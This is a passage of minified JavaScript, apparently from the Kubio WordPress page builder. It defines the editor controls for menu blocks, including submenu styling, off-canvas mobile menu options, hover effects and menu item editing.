.kubio-menu-item-link"].join(",")},supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.TYPOGRAPHY,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:[cn.StatesEnum.NORMAL,cn.StatesEnum.HOVER,cn.StatesEnum.MENU_BUTTON_ACTIVE]}},[Y_]:{label:Object(We.__)("Menu icon","kubio"),selector:"> .kubio-menu > ul > li > .kubio-menu-item-link > .kubio-menu-item-icon",supports:{styles:[cn.StylesEnum.SPACING],states:["normal"]}},[$_]:{label:Object(We.__)("Submenu","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:[cn.StatesEnum.NORMAL],filters:{[cn.StylesEnum.SPACING]:{supportsMargin:!1}}}},[K_]:{label:Object(We.__)("Submenu item","kubio"),selector:{[cn.StatesEnum.NORMAL]:"> .kubio-menu li > ul > li"},supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],filters:{[cn.StylesEnum.SPACING]:Re.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING},states:[cn.StatesEnum.NORMAL]}},[q_]:{label:Object(We.__)("Submenu item link","kubio"),selector:{[cn.StatesEnum.NORMAL]:"> .kubio-menu li > ul > li> .kubio-menu-item-link",[cn.StatesEnum.HOVER]:"> .kubio-menu li > ul > li > .kubio-menu-item-link:hover",[cn.StatesEnum.MENU_BUTTON_ACTIVE]:["> .kubio-menu li > ul > li.current-menu-item > .kubio-menu-item-link","> .kubio-menu li > ul > li.current_page_item > .kubio-menu-item-link"].join(",")},supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.TYPOGRAPHY,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:[cn.StatesEnum.NORMAL,cn.StatesEnum.HOVER,cn.StatesEnum.MENU_BUTTON_ACTIVE]}},[X_]:{label:Object(We.__)("Submenu icon","kubio"),selector:"> .kubio-menu li > ul > li > .kubio-menu-item-link > svg.kubio-menu-item-icon",supports:{styles:[cn.StylesEnum.SPACING],states:["normal"]}},[Q_]:{internal:!0},[Z_]:{internal:!0}},eC=[{label:Object(We.__)("Main menu","kubio"),items:[F_,z_,V_,Y_]},{label:Object(We.__)("Submenu","kubio"),items:[$_,K_,q_,X_]}],{horizontalAlignFlexOptions:tC}=Re.UIUtils,oC=Object(He.withComputedData)(((e,t)=>({menuItemsDataHelper:e.withClientId(t.menuItemsClientId)})))((e=>{let{menuId:t,location:o,computed:n,menuClientId:a,menuName:l}=e;const{menuItemsDataHelper:r}=n,{menus:i}=Object(Ve.useSelect)((e=>{const{getMenus:t,isResolving:o,hasFinishedResolution:n}=e("core"),a=[{per_page:-1}];return{menus:t(...a),isResolvingMenus:o("getMenus",a),hasResolvedMenus:n("getMenus",a)}})),{updateLocationMenu:c}=Object(M_.useMenusLocations)(),{selectBlock:s}=Object(Ve.useDispatch)("core/block-editor"),[u,p]=Object(xe.useState)(""),{saveMenu:b}=Object(Ve.useDispatch)("core"),{openSidebar:m}=Object(Ve.useDispatch)(Fe.STORE_KEY)||{},{clearSelectedBlock:d}=Object(Ve.useDispatch)("core/block-editor");let h=Object(xe.useMemo)((()=>(null==i?void 0:i.map((e=>({value:e.id,label:e.name}))))||[]),[i]),O=!0;return h.length<1&&(O=!1),t||(h=[{value:0,label:Object(We.__)("Select Menu","kubio")},...h]),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("General Options","kubio")},Object(xe.createElement)(Le.BaseControl,null,O&&Object(xe.createElement)(Re.GutentagSelectControl,{label:Object(We.__)("Menu","kubio"),options:h,value:t,onChange:e=>{Object(Be.isEmpty)(o)?r.setAttribute("id",parseInt(e)):c(o,e),s(a)}}),!O&&Object(xe.createElement)(Re.InputControl,{label:Object(We.__)("Menu name","kubio"),value:u,onChange:p,placeholder:Object(We.__)("Please set a name","kubio")})),m&&Object(xe.createElement)(Le.BaseControl,null,O&&Object(xe.createElement)(Le.Button,{onClick:()=>{d(),setTimeout((()=>{Object(Be.isFunction)(m)&&m(`document/menus-settings/menu-${t}`)}),500)},isPrimary:!0,className:"kubio-button-100"},Object(We.__)("Edit menu structure","kubio")),!O&&Object(xe.createElement)(Le.Button,{onClick:async()=>{const e=await b({name:u});r.setAttribute("id",parseInt(e.id)),Object(Be.isEmpty)(o)||c(o,parseInt(e.id))},isPrimary:!0,className:"kubio-button-100"},Object(We.__)("Create menu","kubio"))),l===Yo.DROPDOWN_MENU&&Object(xe.createElement)(Re.HorizontalAlignControlWithPath,{path:"justifyContent",label:Object(We.__)("Button align","kubio"),options:tC,type:He.WithDataPathTypes.STYLE,style:F_}),Object(xe.createElement)(Re.ToggleControlWithPath,{path:"hideSubmenu",label:Object(We.__)("Show only first level","kubio"),type:He.WithDataPathTypes.ATTRIBUTE}))})),nC="has-offcanvas-mobile",aC="has-offcanvas-tablet",lC="has-offcanvas-desktop",rC="has-offcanvas-none",iC=[{label:Object(We.__)("Mobile","kubio"),value:nC},{label:Object(We.__)("Mobile & tablet","kubio"),value:aC},{label:Object(We.__)("Mobile, tablet & desktop","kubio"),value:lC},{label:Object(We.__)("None","kubio"),value:rC}],cC=Object(xe.createContext)(),sC=e=>{let{children:t}=e;const[o,n]=Object(xe.useState)(!1);return Object(xe.createElement)(cC.Provider,{value:{displayOffScreen:o,toggleDisplayOffscreen:n}},t)},uC=()=>Object(xe.useContext)(cC),pC=(e,t)=>{switch(e=e||nC){case nC:return"mobile"===t;case aC:return"mobile"===t||"tablet"===t;case lC:return!0;default:return!1}},bC="offscreen",mC="offscreenOverlay",dC="iconWrapper",hC="icon",OC="align",gC={["container"]:{label:Object(We.__)("Container","kubio"),internal:!0,supports:{styles:[cn.StylesEnum.BACKGROUND],states:["normal","hover"]}},[dC]:{label:Object(We.__)("Icon Wrapper","kubio"),internal:!0,supports:{styles:[cn.StylesEnum.BACKGROUND],states:["normal","hover"]}},[bC]:{label:Object(We.__)("Offscreen Panel","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.PADDING],states:["normal"]}},[mC]:{label:Object(We.__)("Offscreen Overlay","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND],states:["normal"]}},[hC]:{label:Object(We.__)("Icon","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING],states:["normal","hover"]}},[OC]:{internal:!0}},yC={source:"menu",content:"offscreen"};function jC(e){let{toggleOffscreen:t,isOffScreenVisible:o}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.Button,{onClick:t,isPrimary:!0,className:"kubio-button-100 mobile-menu-button"},o?Object(We.__)("Hide mobile menu","kubio"):Object(We.__)("Show mobile menu","kubio")),Object(xe.createElement)(ji.AvailableInPro,{displayModal:!1,urlArgs:yC}))}const kC=Object(Me.compose)([He.WithNoAncestorContext,Object(He.withComputedData)(((e,t)=>{const o=e.withClientId(t.menuClientId),n=e.withClientId(t.clientId);return{menuContext:{dataHelper:o},offscreenPanelContext:{dataHelper:n},offscreenDataHelper:n,dropDownMenuDataHelper:o}}))])((e=>{let{menuClientId:t,computed:o}=e;const{offscreenPanelContext:n,dropDownMenuDataHelper:a}=o,l=Object(He.useActiveMedia)(),{displayOffScreen:r,toggleDisplayOffscreen:i}=uC(),{selectBlock:c}=Object(Ve.useDispatch)("core/block-editor");let s=jC;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Offscreen Options","kubio"),initialOpen:r},Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:t},Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Enable on","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"showOffscreenMenuOn",options:iC}))),Object(xe.createElement)(s,{dropDownMenuDataHelper:a,toggleOffscreen:()=>{const e=!r,t=pC(a.getAttribute("showOffscreenMenuOn"),l)?n.dataHelper.clientId:a.clientId;c(t),i(e)},isOffScreenVisible:r})))})),EC=Object(Me.compose)(U_)((e=>{let{menuClientId:t,menuName:o,menuId:n,menuLocation:a,menuItemsClientId:l,offscreenClientId:r}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:t},Object(xe.createElement)(oC,{menuId:n,location:a,menuClientId:t,menuItemsClientId:l,menuName:o,clientId:r}))),o===Yo.DROPDOWN_MENU&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:r},Object(xe.createElement)(kC,{menuId:n,location:a,menuClientId:t,menuItemsClientId:l,menuName:o,offscreenClientId:r}))))})),fC=e=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(EC,e)),vC="none",_C="bordered-active-item bordered-active-item--bottom",CC="bordered-active-item bordered-active-item--top",IC="bordered-active-item bordered-active-item--top-and-bottom",TC="solid-active-item",SC=[_C,CC,IC],wC=[TC];let PC=[{label:Object(We.__)("None","kubio"),value:vC},{label:Object(We.__)("Bottom line","kubio"),value:_C},{label:Object(We.__)("Top line","kubio"),value:CC},{label:Object(We.__)("Double line","kubio"),value:IC},{label:Object(We.__)("Background","kubio"),value:TC}];const AC=[vC,_C];PC=Object(ji.addProTagToItems)(PC,AC);const BC=[{label:Object(We.__)("Drop in","kubio"),value:"effect-borders-in"},{label:Object(We.__)("Drop out","kubio"),value:"effect-borders-out"},{label:Object(We.__)("Grow from left","kubio"),value:"effect-borders-grow grow-from-left"},{label:Object(We.__)("Grow from right","kubio"),value:"effect-borders-grow grow-from-right"},{label:Object(We.__)("Grow from center","kubio"),value:"effect-borders-grow grow-from-center"},{label:Object(We.__)("None","kubio"),value:"effect-none"}],NC=[{label:Object(We.__)("Grow up","kubio"),value:"solid-active-item effect-pull-up"},{label:Object(We.__)("Grow down","kubio"),value:"solid-active-item effect-pull-down"},{label:Object(We.__)("Grow left","kubio"),value:"effect-pull-left"},{label:Object(We.__)("Grow right","kubio"),value:"effect-pull-right"},{label:Object(We.__)("Shutter in horizontal","kubio"),value:"solid-active-item effect-pull-up-down"},{label:Object(We.__)("Shutter out horizontal","kubio"),value:"solid-active-item effect-pull-up-down-reverse"},{label:Object(We.__)("Shutter in vertical","kubio"),value:"solid-active-item effect-pull-left-right"},{label:Object(We.__)("Shutter out vertical","kubio"),value:"solid-active-item effect-pull-left-right-reverse"},{label:Object(We.__)("None","kubio"),value:"solid-active-item effect-none"}],xC="outer",RC="hover-effect-border",DC="hover-effect-background",LC={[xC]:{label:Object(We.__)("Menu container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:["normal"]}},[RC]:{internal:!0,selector:["::before","::after"].map((e=>`&.bordered-active-item .kubio-menu > ul > li > .kubio-menu-item-link > .kubio-menu-item-link-editor-before-after${e}`)).join(",")},[DC]:{internal:!0,selector:["::before","::after"].map((e=>`&.solid-active-item .kubio-menu > ul > li > .kubio-menu-item-link > .kubio-menu-item-link-editor-before-after${e}`)).join(",")},...J_},MC=e=>{let{dataHelper:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:DC},n=function(e){let o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:DC;return null==t?void 0:t.getStyle(e,"",{type:He.WithDataPathTypes.STYLE,styledComponent:o})}("border.top.radius.left.value");return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Button hover effect","kubio"),path:"hoverEffect.background.effect",type:He.WithDataPathTypes.PROP,options:NC}),Object(xe.createElement)(Re.GradientColorPickerWithPath,Object(ut.a)({path:"background",label:Object(We.__)("Background Color","kubio")},o)),Object(xe.createElement)(Re.RangeControl,{label:Object(We.__)("Rounded corners","kubio"),value:n,onChange:e=>{!function(e,o){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:DC;null==t||t.setStyle(e,o,{type:He.WithDataPathTypes.STYLE,styledComponent:n})}("border",Object(Be.isObject)(e)?e:{top:{radius:{left:{value:e,unit:"px"},right:{value:e,unit:"px"}}},bottom:{radius:{right:{value:e,unit:"px"},left:{value:e,unit:"px"}}}})},capMin:!0,min:0,max:100}))},WC=Object(Me.compose)(Object(He.withComputedData)(((e,t)=>({menuContext:{dataHelper:e.withClientId(t.menuClientId)},menuItemsContext:{dataHelper:e.withClientId(t.menuItemsClientId)}}))),Object(He.withObserveOtherBlocks)(((e,t)=>{let{menuClientId:o}=t;return o})))((e=>{const{dataHelper:t}=e,o=function(e,o){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return null==t?void 0:t.getProp(e,o,n)}("hoverEffect.type",vC),n={type:He.WithDataPathTypes.STYLE,style:RC},a=Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Button hover effect","kubio"),path:"hoverEffect.border.effect",type:He.WithDataPathTypes.PROP,options:BC}),Object(xe.createElement)(Re.GradientColorPickerWithPath,Object(ut.a)({path:"background",label:Object(We.__)("Line Color","kubio")},n)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Line thickness","kubio")},n,{max:100,path:"height"})));return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Main menu effect","kubio"),initialOpen:!1},Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Button highlight type","kubio"),options:PC,path:"hoverEffect.type",type:He.WithDataPathTypes.PROP}),o!==vC&&Object(xe.createElement)(xe.Fragment,null,-1!==SC.indexOf(o)&&a,-1!==wC.indexOf(o)&&Object(xe.createElement)(MC,e)))})),HC=[{label:Object(We.__)("Normal","kubio"),value:"normal"},{label:Object(We.__)("Hover","kubio"),value:"hover"},{label:Object(We.__)("Active","kubio"),value:"menuButtonActive"}],GC=[{label:Object(We.__)("None","kubio"),value:"none"},{label:Object(We.__)("Solid","kubio"),value:"solid"},{label:Object(We.__)("Dashed","kubio"),value:"dashed"},{label:Object(We.__)("Dotted","kubio"),value:"dotted"},{label:Object(We.__)("Double","kubio"),value:"double"},{label:Object(We.__)("Groove","kubio"),value:"groove"},{label:Object(We.__)("Ridge","kubio"),value:"ridge"},{label:Object(We.__)("Inset","kubio"),value:"inset"},{label:Object(We.__)("Outset","kubio"),value:"outset"}],UC=Object(Me.compose)(Object(He.withComputedData)(),Object(He.withObserveOtherBlocks)(((e,t)=>{let{menuClientId:o}=t;return o})))((e=>{let{menuName:t,menuClientId:o,dataHelper:n}=e;const[a,l]=Object(Lr.useSessionProp)(o,"main_button_state","normal"),r={type:He.WithDataPathTypes.STYLE,style:V_,state:"normal"===a?void 0:a},i=function(e,t){let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:z_;return null==n?void 0:n.getStyle(`${e}.${t}`,"",{type:He.WithDataPathTypes.STYLE,styledComponent:o})},c=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:z_;return null==n?void 0:n.getStyle(e,"",{type:He.WithDataPathTypes.STYLE,styledComponent:t})},s=function(e,t){let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:z_;return a=>{const l=null==n?void 0:n.getStyle(e),r={};a={unit:"px",value:"",...a},t.forEach((e=>r[e]=a)),n.setStyle(e,{...l,...r},{type:He.WithDataPathTypes.STYLE,styledComponent:o})}};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Main menu buttons","kubio")},Object(xe.createElement)(Re.ToggleGroup,{options:HC,value:a,onChange:l}),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background Color","kubio"),type:He.WithDataPathTypes.STYLE,path:"background.color"},r)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text Color","kubio"),type:He.WithDataPathTypes.STYLE,path:"typography.color"},r)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},r,{state:"normal"})),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),t===Yo.DROPDOWN_MENU&&Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Space between buttons","kubio"),path:"gap",type:He.WithDataPathTypes.STYLE,style:F_}),Object(xe.createElement)(Re.RangeWithUnitControl,{label:Object(We.__)("Button horizontal padding","kubio"),value:i("padding","left",V_),onChange:s("padding",["left","right"],V_)}),Object(xe.createElement)(Re.RangeWithUnitControl,{label:Object(We.__)("Button vertical padding","kubio"),value:i("padding","top",V_),onChange:s("padding",["top","bottom"],V_)}),t===Yo.ACCORDION_MENU&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.SelectControlWithPath,Object(ut.a)({label:Object(We.__)("Divider","kubio"),options:GC,path:"border.bottom.style"},r,{state:"normal"})),"none"!==c("border.bottom.style",V_)&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Divider color","kubio"),path:"border.bottom.color"},r,{state:"normal"})),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Divider thickness","kubio"),path:"border.bottom.width"},r,{state:"normal"})))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitControl,{label:Object(We.__)("Dropdown icon spacing","kubio"),value:i("margin","left",Y_),onChange:s("margin",["left","right"],Y_)}),Object(xe.createElement)(Re.RangeWithUnitControl,{label:Object(We.__)("Dropdown icon size","kubio"),value:c("width",Y_),onChange:function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:z_;return o=>{e.forEach((e=>{n.setStyle(e,o,{type:He.WithDataPathTypes.STYLE,styledComponent:t})}))}}(["width","height"],Y_)}))})),FC=[{label:Object(We.__)("Normal","kubio"),value:"normal"},{label:Object(We.__)("Hover","kubio"),value:"hover"},{label:Object(We.__)("Active","kubio"),value:"menuButtonActive"}],zC=[{label:Object(We.__)("None","kubio"),value:"none"},{label:Object(We.__)("Solid","kubio"),value:"solid"},{label:Object(We.__)("Dashed","kubio"),value:"dashed"},{label:Object(We.__)("Dotted","kubio"),value:"dotted"},{label:Object(We.__)("Double","kubio"),value:"double"},{label:Object(We.__)("Groove","kubio"),value:"groove"},{label:Object(We.__)("Ridge","kubio"),value:"ridge"},{label:Object(We.__)("Inset","kubio"),value:"inset"},{label:Object(We.__)("Outset","kubio"),value:"outset"}],VC=Object(Me.compose)(Object(He.withComputedData)(),Object(He.withObserveOtherBlocks)(((e,t)=>{let{menuClientId:o}=t;return o})))((e=>{let{menuName:t,menuClientId:o,dataHelper:n}=e;const[a,l]=Object(Lr.useSessionProp)(o,"submenu_button_state","normal"),r=(He.WithDataPathTypes.STYLE,He.WithDataPathTypes.STYLE,{type:He.WithDataPathTypes.STYLE,style:q_,state:"normal"===a?void 0:a}),i={type:He.WithDataPathTypes.STYLE,style:$_},c=function(e,t){let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:K_;return null==n?void 0:n.getStyle(`${e}.${t}`,"",{type:He.WithDataPathTypes.STYLE,styledComponent:o})},s=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:K_;return null==n?void 0:n.getStyle(e,"",{type:He.WithDataPathTypes.STYLE,styledComponent:t})},u=t===Yo.ACCORDION_MENU,p=function(e,t){let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:K_;return a=>{const l=null==n?void 0:n.getStyle(e),r={};a={unit:"px",value:"",...a},t.forEach((e=>r[e]=a)),n.setStyle(e,{...l,...r},{type:He.WithDataPathTypes.STYLE,styledComponent:o})}},b=null==n?void 0:n.getStyle("height",{value:0,unit:"px"},{type:He.WithDataPathTypes.STYLE,styledComponent:Q_}).value;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Submenu Buttons","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ToggleGroup,{options:FC,value:a,onChange:l}),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background Color","kubio"),type:He.WithDataPathTypes.STYLE,path:"background.color"},r)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text Color","kubio"),type:He.WithDataPathTypes.STYLE,path:"color"},r)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},r,{state:"normal"})),u&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Submenu offset","kubio"),units:["px","em"],path:"--kubio-accordion-menu-offset",style:F_,type:He.WithDataPathTypes.STYLE,state:"normal"})),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitControl,{label:Object(We.__)("Button horizontal padding","kubio"),value:c("padding","left",q_),onChange:p("padding",["left","right"],q_)}),Object(xe.createElement)(Re.RangeWithUnitControl,{label:Object(We.__)("Button vertical padding","kubio"),value:c("padding","top",q_),onChange:p("padding",["top","bottom"],q_)}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.SelectControlWithPath,Object(ut.a)({label:Object(We.__)("Divider","kubio"),options:zC,path:"border.bottom.style"},r,{state:"normal"})),"none"!==s("border.bottom.style",q_)&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Divider color","kubio"),path:"border.bottom.color"},r,{state:"normal"})),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Divider thickness","kubio"),path:"border.bottom.width"},r,{state:"normal"}))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitControl,{label:Object(We.__)("Dropdown icon spacing","kubio"),value:c("margin","left",X_),onChange:p("margin",["left","right"],X_)}),Object(xe.createElement)(Re.RangeWithUnitControl,{label:Object(We.__)("Dropdown icon size","kubio"),value:s("width",X_),onChange:function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:K_;return o=>{e.forEach((e=>{n.setStyle(e,o,{type:He.WithDataPathTypes.STYLE,styledComponent:t})}))}}(["width","height"],X_)}),t===Yo.DROPDOWN_MENU&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeControl,{label:Object(We.__)("Submenu spacing","kubio"),value:b,onChange:e=>{n.setStyle("margin.top",Object(Be.isObject)(e)?e:{value:e,unit:"px"},{type:He.WithDataPathTypes.STYLE,styledComponent:Z_}),n.setStyle("height",Object(Be.isObject)(e)?e:{value:e,unit:"px"},{type:He.WithDataPathTypes.STYLE,styledComponent:Q_})},min:0,max:100}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxShadowWithPath,Object(ut.a)({label:Object(We.__)("Submenu shadow","kubio"),path:"boxShadow",allowInset:!1},i))))})),YC=Object(Me.compose)(U_)((e=>{let{menuClientId:t,menuName:o,menuId:n,menuLocation:a,menuItemsClientId:l,offscreenClientId:r}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:t},Object(xe.createElement)(UC,{menuId:n,location:a,menuClientId:t,menuItemsClientId:l,menuName:o,offscreenClientId:r}),o===Yo.DROPDOWN_MENU&&Object(xe.createElement)(WC,{menuId:n,location:a,menuClientId:t,menuItemsClientId:l,menuName:o,offscreenClientId:r}),Object(xe.createElement)(VC,{menuId:n,location:a,menuClientId:t,menuItemsClientId:l,menuName:o,offscreenClientId:r})))})),$C=e=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(YC,e)),KC=e=>{const{isSelected:t}=e;return t&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(fC,e),Object(xe.createElement)($C,e))},qC=Object(xe.createElement)(Le.SVG,{className:"kubio-menu-item-icon",role:"img",viewBox:"0 0 320 512"},Object(xe.createElement)(Le.Path,{d:"M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"})),XC=e=>{let{insertLinkBlock:t,setIsLinkOpen:o}=e;return Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{name:"link",icon:PO.a,title:Object(We.__)("Link","kubio"),onClick:()=>o(!0)}),Object(xe.createElement)(Le.ToolbarButton,{name:"submenu",icon:Object(xe.createElement)(sa.a,{icon:on.SubmenuIcon}),title:Object(We.__)("Add submenu","kubio"),onClick:t})))},QC=e=>{const{attributes:t,setAttributes:o,hasDescendants:n,isParentOfSelectedBlock:a,insertLinkBlock:l,parentId:r,isSelected:i,isFirstItem:c,menuForcedToFirstLevel:s=!1,nestedLevel:u,clientId:p}=e,{id:b,label:m,url:d}=t,[h,O]=Object(xe.useState)(m),g=Object(xe.useCallback)(Object(Be.debounce)((e=>o({label:e})),1e3),[]),y=Object(Ve.useSelect)((e=>e("core/block-editor").isDraggingBlocks()),[]),[j,k]=Object(xe.useState)(!1);Object(xe.useEffect)((()=>{i&&!d&&k(!0)}),[d,i]),Object(xe.useEffect)((()=>{m!==h&&O(m)}),[m,h]);const E=Object(He.useUndoTrapDispatch)(),{updateBlockAttributes:f}=Object(Ve.useDispatch)("core/block-editor");Object(xe.useEffect)((()=>{Object(Be.isUndefined)(b)&&E((()=>{const e=-1*Date.now();return f(p,{...t,id:e,parent:r,type:"custom",objectId:e,label:Object(We.__)("Menu Item","kubio")})}))}),[]);const v=Object(xe.useCallback)((e=>{O(e),g(e)}),[]),_=$o({className:$e()(["kubio-submenu__container",{"is-parent-of-selected-block":a&&!y}])},{orientation:"vertical",allowedBlocks:[M_.MENU_ITEM_BLOCK],__experimentalAppenderTagName:"li",renderAppender:!!n&&De.InnerBlocks.ButtonBlockAppender}),C=(a||i)&&!s,I=Object(He.useDebounce)(v,100);return Object(xe.createElement)(xe.Fragment,null,i&&Object(xe.createElement)(XC,{setIsLinkOpen:k,insertLinkBlock:l}),Object(xe.createElement)("div",{className:"kubio-menu-item-link"},Object(xe.createElement)("div",{className:"kubio-menu-item-link-editor-before-after"}),Object(xe.createElement)(De.RichText,{identifier:"label",className:"wp-block-navigation-link__label",value:h,onChange:I,multiline:!1,withoutInteractiveFormatting:!0,placeholder:Object(We.__)("Menu Item","kubio"),allowedFormats:He.allowedRichTextFormats}),j&&Object(xe.createElement)(Le.Popover,{position:"bottom center",className:"kubio-options-popover",onClose:()=>k(!1)},Object(xe.createElement)(Re.MenuItemOptions,{item:t,onChange:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};O(e.label),o({...e,label:e.label,target:e.target}),k(!1)},mainButtonLabel:Object(We.__)("Update item","kubio")})),!s&&n&&qC),C&&Object(xe.createElement)("ul",_),!C&&!Object(He.isKubioEditor)()&&Object(xe.createElement)("ul",_))},ZC=Object(xe.memo)((e=>{let{hasDescendants:t,menuForcedToFirstLevel:o,label:n}=e;return Object(xe.createElement)("div",{className:"kubio-menu-item-link"},Object(xe.createElement)("div",{className:"kubio-menu-item-link-editor-before-after"}),Object(xe.createElement)("div",{className:"rich-text"},Object(xe.createElement)("span",{dangerouslySetInnerHTML:{__html:n}})),!o&&t&&qC)}));var JC=Object(Me.compose)(Object(Me.createHigherOrderComponent)((e=>t=>{const{items:o}=Object(M_.useMenuBlockEditor)();return Object(xe.createElement)(e,Object(ut.a)({},t,{currentMenuItems:o}))})),Object(Ve.withSelect)(((e,t)=>{var o,n;const{getSelectedBlock:a,getBlockParents:l,getBlock:r,getBlocks:i,getBlockAttributes:c,getBlockRootClientId:s}=e("core/block-editor"),{clientId:u,attributes:p,currentMenuItems:b=[]}=t,{id:m}=p,d=(null===(o=a())||void 0===o?void 0:o.name)===M_.MENU_ITEM_BLOCK?a().clientId:null,h=!!i(u).length,O=r(s(u)),g=b.filter((e=>0===e.parent)).sort(((e,t)=>e.order-t.order)),y=Object(Be.get)(g,"0.id"),j=l(u).map((e=>{const t=r(e);return-1!==[Yo.DROPDOWN_MENU,Yo.ACCORDION_MENU].indexOf(null==t?void 0:t.name)&&(t||null)})).filter(Boolean).pop(),k=l(u),E=j?k.slice(k.indexOf(j.clientId),k.length):[],f=j?Math.min(Object(Be.reverse)(E).indexOf(j.clientId),4):0,v=Object(xe.useMemo)((()=>{if(!j||!d)return!1;const e=l(d);return-1!==e.slice(e.indexOf(j.clientId),e.length).indexOf(u)}),[u,l,j,d]);return{hasParents:!!E.length,hasDescendants:h,userCanCreatePages:e("core").canUser("create","pages"),userCanCreatePosts:e("core").canUser("create","posts"),isFirstItem:y===m,parentId:(null==O?void 0:O.name)===M_.MENU_ITEM_BLOCK?O.attributes.id:0,menuForcedToFirstLevel:!!j&&(null===(n=c(j.clientId))||void 0===n?void 